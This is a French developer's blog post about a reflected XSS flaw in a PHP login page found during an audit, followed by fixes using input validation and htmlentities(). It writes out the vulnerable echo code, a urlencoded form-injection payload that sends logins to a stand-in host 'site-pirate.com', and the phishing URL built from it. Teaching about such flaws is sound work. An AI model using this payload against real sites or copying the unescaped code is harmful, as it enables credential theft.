Je suis vulnérable...
Soumis à un audit de sécurité récemment, l'application que je conçois avec soin était vulnérable à une attaque de type Cross Site Scripting, également connu sous l'appellation attaque XSS.
Le principe d'une attaque XSS est simple mais souvent mal expliqué. Elle consiste à manipuler les failles d'un site web en modifiant les paramètres de l'application.
Pour comprendre son principe, reprenons les bases. Pour la communication entre le client et le serveur, le passage de paramètres en méthode POST ou GET est généralement privilégié. Dans le cas des paramètres passés par url (GET), il est aisé pour un pirate averti de repérer une éventuelle faiblesse, notamment en utilisant un scanneur de site web.
La manipulation de ces variables pourra être utilisée afin de :
- détourner les actions des formulaires vers un site pirate
- créer un dépassement de pile et ainsi planter le serveur
- effectuer des injections SQL
A partir du moment où vos applications acceptent des paramètres qui seront ensuite affichés dans des pages HTML, vous êtes vulnérable aux attaques XSS, à moins d'avoir pris les précautions nécessaires.
Concrètement, l'audit de sécurité effectué sur l'application web dont je suis responsable m'a alerté d'une faille sur le détournement du formulaire de connexion.
Lors de cette phase d'identification, l'utilisateur renseigne son identifiant et son mot de passe. Une fois le formulaire validé, l'application procède à la traditionnelle vérification du compte. Si le couple identifiant/mot de passe ne correspond à aucun compte dans la base, l'internaute est redirigé vers la page de connexion.
Jusqu'à présent, rien de compliqué. Seulement, pour disposer d'un retour utilisateur (feedback), l'application passe en paramètre GET la variable « msg=loginFailure ». Le script de connexion détecte la variable et teste sa valeur :
if (!isset($_GET['msg'])) $_GET['msg'] = '';
if ($_GET['msg'] == 'loginFailure') $_GET['msg'] = 'Connexion refusée. Merci de vérifier votre identifiant et votre mot de passe.';
La variable est ensuite réutilisée pour être affichée dans la page HTML. Examinons cette dernière, simplifiée pour les explications :
<div id="feedback"><?php echo $_GET['msg'] ?></div>
<form name="identification" action="identification.php" method="post">
Identifiant : <input type="text" name="login"/> <br/>
Mot de passe : <input type="password" name="pass"/><br/>
<input type="submit" value="soumettre"/>
</form>
Vous noterez que la zone de message pour l'affichage du retour d'erreur est placée en amont du formulaire. La faille réside en ce point. Avec le code ci-dessus, il suffit de modifier la variable msg dans l'url pour ajouter une balise de formulaire, avant celle légitime, pointant vers l'adresse d'un site pirate.
Pour obtenir une url correctement formatée et exploitant la faille de sécurité, utilisons la fonction urlencode() de php :
echo urlencode('<form name="identification" action="http://site-pirate.com" method="post">');
// affichera :
// %3Cform+name%3D%22identification%22+action%3D%22http%3A%2F%2Fsite-pirate.com%22+method%3D%22post%22%3E
Grâce à cette petite ligne de code, j'obtiens mon attaque XSS. Il suffit dorénavant au pirate d'envoyer un mail aux utilisateurs leur demandant de se connecter à l'application en utilisant l'url suivante :
http://monsite.com/connexion.php?msg=%3Cform+name%3D%22identification%22+action%3D%22http%3A%2F%2Fsite-pirate.com%22+method%3D%22post%22%3E
En affichant le code source de la page HTML ainsi générée on obtient dorénavant :
<div id="feedback"><form name="identification" action="http://site-pirate.com" method="post"></div>
<form name="identification" action="identification.php" method="post">
Identifiant : <input type="text" name="login"/> <br/>
Mot de passe : <input type="password" name="pass"/><br/>
<input type="submit" value="soumettre"/>
</form>
Si l'internaute soumet ce formulaire, les informations de connexion seront envoyées au site pirate, la première déclaration de formulaire prenant le pas sur celle d'origine.
Pour se prémunir contre ces attaques, il est nécessaire de valider tous les paramètres GET. Ainsi, il suffit de modifier le code serveur comme suit :
<?php
if (!isset($_GET['msg'])) $_GET['msg'] = '';
else if ($_GET['msg'] == 'loginFailure') $_GET['msg'] = 'Connexion refusée. Merci de vérifier votre identifiant et votre mot de passe.';
else trigger_error('Url erronée', E_USER_ERROR);
?>
Ou encore d'utiliser la fonction htmlentities() lors de l'affichage du message de feedback pour encoder tout caractère spécial utilisable dans une page HTML :
<div id="feedback"><?php echo htmlentities($_GET['msg'], ENT_QUOTES) ?></div>
[EDIT 23/11/07] : n'oubliez pas d'ajouter le second argument ENT_QUOTES (htmlentities is badly designed).
La protection contre les attaques XSS est donc aussi simple que leur concept. La difficulté n'est pas là. Le véritable problème réside dans la difficulté voire l'impossibilité de détecter ce type d'intrusion.
La responsabilité du développeur, bien qu'engagée, ne remet aucunement en cause son degré de compétence. Le code d'origine n'est nullement défectueux et fonctionne parfaitement lorsqu'il est utilisé dans une logique applicative normale. Gardons toujours en mémoire qu'un développeur écrit des milliers de lignes de code. De fait, il est humainement impossible de penser à toutes les failles de sécurité au même titre qu'il n'existe aucun logiciel dépourvu de bogues.
Il faut s'inscrire dans une toute autre logique et lui donner les moyens d'auditer la sécurité de l'application qu'il maintient. Si le pirate utilise un scanneur pour détecter les failles de sécurité d'un site web, offrons au développeur un outil similaire.
Me concernant, pour me prémunir de telles attaques, j'utilise dorénavant le logiciel AWS (Acunetix Web Vulnerability Scanner). Il propose une version gratuite analysant uniquement ce type d'infection.
Les autres possibilités de scan des vulnérabilités sont nombreuses mais nécessiteront un effort financier conséquent. Mais la sécurité a-t-elle un prix? Imaginez que vos clients vous traînent en justice pour vol d'identité sur une application dont vous êtes responsable : avec le recul, ne fallait-il pas investir dans la prévention?
J'aimerai également apporter une nuance aux explications abordées dans ce billet. Une faille de sécurité vient d'être corrigée dans l'applicatif, c'est toujours ça de pris. Néanmoins, pour que cette attaque fonctionne, encore faut-il que l'utilisateur non sensibilisé à ce type de problématique utilise l'url fournie par le pirate. Analysons un autre scénario.
Vous serez d'accord pour admettre qu'il suffit de quelques minutes pour reproduire n'importe qu'elle interface web. A partir de ce constat, le pirate reproduit la page d'identification conformément au site légitime. Il héberge ensuite cette page sur son propre serveur.
A nouveau, il suffit d'envoyer un mail aux utilisateurs de l'application, en se faisant passer pour l'organisme reconnu, spécifiant une modification de l'adresse de connexion et nous retombons dans les mêmes soucis de récupération d'informations. L'internaute validera le formulaire détourné, ne se doutant de rien car retrouvant la même page à laquelle il fut habitué.
La faille de sécurité ne réside plus tellement dans le code source applicatif, mais dans le vol d'adresses mails des utilisateurs. Et là le problème reste entier car voler une adresse de courrier peut être réalisée par simple prise de contact humain. Il est alors impossible de s'en prémunir techniquement...

Juste 2 petits retours sur le billet :
"Il suffit dorénavant au pirate d'envoyer un mail aux utilisateurs leur demandant de se connecter à l'application en utilisant l'url suivante".
"La faille de sécurité ne réside plus tellement dans le code source applicatif, mais dans le vol d'adresses mails des utilisateurs".